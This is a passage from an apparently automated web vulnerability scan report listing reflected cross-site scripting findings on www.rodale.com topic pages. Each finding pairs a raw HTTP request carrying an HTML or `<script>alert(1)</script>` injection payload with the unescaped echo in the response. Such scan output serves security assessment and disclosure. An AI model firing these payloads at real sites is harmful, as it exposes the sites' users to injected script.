This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topica15be"><a>bd051203aa4/fast-food HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:47 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:49 GMT
Date: Thu, 10 Mar 2011 17:11:49 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topica15be"><a>bd051203aa4 topica15be">
...[SNIP]...

2.480. http://www.rodale.com/topic/fast-food [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/fast-food

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5e638"><a>76d7e6b5779 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/fast-food5e638"><a>76d7e6b5779 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:25 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:28 GMT
Date: Thu, 10 Mar 2011 17:12:28 GMT
Content-Length: 22477
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-fast-food5e638"><a>76d7e6b5779 node node-958">
...[SNIP]...

2.481. http://www.rodale.com/topic/fast-food [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/fast-food

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89bdd"><script>alert(1)</script>700fbd2b7d1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/fast-food?89bdd"><script>alert(1)</script>700fbd2b7d1=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:45 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:47 GMT
Date: Thu, 10 Mar 2011 17:11:47 GMT
Content-Length: 30911
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/fast-food?89bdd"><script>alert(1)</script>700fbd2b7d1=1" title="Register" class="moreLink">
...[SNIP]...

2.482. http://www.rodale.com/topic/fatigue [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/fatigue

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 40355"><a>7a0a93278da was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic40355"><a>7a0a93278da/fatigue HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:03 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:06 GMT
Date: Thu, 10 Mar 2011 17:12:06 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic40355"><a>7a0a93278da topic40355">
...[SNIP]...

2.483. http://www.rodale.com/topic/fatigue [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/fatigue

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9457c"><a>7a97c4750cf was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/fatigue9457c"><a>7a97c4750cf HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:38 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:40 GMT
Date: Thu, 10 Mar 2011 17:12:40 GMT
Content-Length: 22471
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-fatigue9457c"><a>7a97c4750cf node node-958">
...[SNIP]...

2.484. http://www.rodale.com/topic/fatigue [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/fatigue

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 58c9a"><script>alert(1)</script>5450d88bc3d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/fatigue?58c9a"><script>alert(1)</script>5450d88bc3d=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:57 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:42:01 GMT
Date: Thu, 10 Mar 2011 17:12:02 GMT
Content-Length: 29726
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/fatigue?58c9a"><script>alert(1)</script>5450d88bc3d=1" title="Register" class="moreLink">
...[SNIP]...

2.485. http://www.rodale.com/topic/fda-recalls-and-safety-alerts [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/fda-recalls-and-safety-alerts

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a5936"><a>53472139bb4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topica5936"><a>53472139bb4/fda-recalls-and-safety-alerts HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:58 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:41:59 GMT
Date: Thu, 10 Mar 2011 17:12:00 GMT
Content-Length: 22558
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topica5936"><a>53472139bb4 topica5936">
...[SNIP]...

2.486. http://www.rodale.com/topic/fda-recalls-and-safety-alerts [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/fda-recalls-and-safety-alerts

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17841"><a>6fb7f63ceba was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/fda-recalls-and-safety-alerts17841"><a>6fb7f63ceba HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:31 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:33 GMT
Date: Thu, 10 Mar 2011 17:12:33 GMT
Content-Length: 22537
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-fda-recalls-and-safety-alerts17841"><a>6fb7f63ceba node node-958">
...[SNIP]...

2.487. http://www.rodale.com/topic/fda-recalls-and-safety-alerts [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/fda-recalls-and-safety-alerts

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 91297"><script>alert(1)</script>78e430613b5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/fda-recalls-and-safety-alerts?91297"><script>alert(1)</script>78e430613b5=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:55 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:57 GMT
Date: Thu, 10 Mar 2011 17:11:57 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33472

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/fda-recalls-and-safety-alerts?91297"><script>alert(1)</script>78e430613b5=1" title="Register" class="moreLink">
...[SNIP]...

2.488. http://www.rodale.com/topic/fertility [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/fertility

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8d3ae"><a>1f422d32e7c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic8d3ae"><a>1f422d32e7c/fertility HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:03 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:05 GMT
Date: Thu, 10 Mar 2011 17:12:05 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic8d3ae"><a>1f422d32e7c topic8d3ae">
...[SNIP]...

2.489. http://www.rodale.com/topic/fertility [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/fertility

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aa9f6"><a>b15614fed24 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/fertilityaa9f6"><a>b15614fed24 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:34 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:36 GMT
Date: Thu, 10 Mar 2011 17:12:36 GMT
Content-Length: 22477
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-fertilityaa9f6"><a>b15614fed24 node node-958">
...[SNIP]...

2.490. http://www.rodale.com/topic/fertility [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/fertility

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2fdba"><script>alert(1)</script>7ec8aa22051 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/fertility?2fdba"><script>alert(1)</script>7ec8aa22051=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:01 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:02 GMT
Date: Thu, 10 Mar 2011 17:12:02 GMT
Content-Length: 31108
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/fertility?2fdba"><script>alert(1)</script>7ec8aa22051=1" title="Register" class="moreLink">
...[SNIP]...

2.491. http://www.rodale.com/topic/fertilizers [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/fertilizers

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e8e0"><a>bfec9d2098 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic1e8e0"><a>bfec9d2098/fertilizers HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:09 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:10 GMT
Date: Thu, 10 Mar 2011 17:12:10 GMT
Content-Length: 22500
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic1e8e0"><a>bfec9d2098 topic1e8e0">
...[SNIP]...

2.492. http://www.rodale.com/topic/fertilizers [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/fertilizers

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7d4d7"><a>dfa25a6f643 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/fertilizers7d4d7"><a>dfa25a6f643 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:40 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:42 GMT
Date: Thu, 10 Mar 2011 17:12:42 GMT
Content-Length: 22483
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-fertilizers7d4d7"><a>dfa25a6f643 node node-958">
...[SNIP]...

2.493. http://www.rodale.com/topic/fertilizers [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/fertilizers

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 10e76"><script>alert(1)</script>a835e960bd4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/fertilizers?10e76"><script>alert(1)</script>a835e960bd4=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:07 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:08 GMT
Date: Thu, 10 Mar 2011 17:12:08 GMT
Content-Length: 29477
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/fertilizers?10e76"><script>alert(1)</script>a835e960bd4=1" title="Register" class="moreLink">
...[SNIP]...

2.494. http://www.rodale.com/topic/first-aid [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/first-aid

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71bef"><a>bd8414e9b1e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic71bef"><a>bd8414e9b1e/first-aid HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:10 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:12 GMT
Date: Thu, 10 Mar 2011 17:12:12 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic71bef"><a>bd8414e9b1e topic71bef">
...[SNIP]...

2.495. http://www.rodale.com/topic/first-aid [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/first-aid

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 61ad3"><a>6fec69f9c15 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/first-aid61ad3"><a>6fec69f9c15 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:43 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:45 GMT
Date: Thu, 10 Mar 2011 17:12:45 GMT
Content-Length: 22477
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-first-aid61ad3"><a>6fec69f9c15 node node-958">
...[SNIP]...

2.496. http://www.rodale.com/topic/first-aid [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/first-aid

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b060b"><script>alert(1)</script>0102f0a7bfe was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/first-aid?b060b"><script>alert(1)</script>0102f0a7bfe=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:08 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:10 GMT
Date: Thu, 10 Mar 2011 17:12:10 GMT
Content-Length: 30552
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
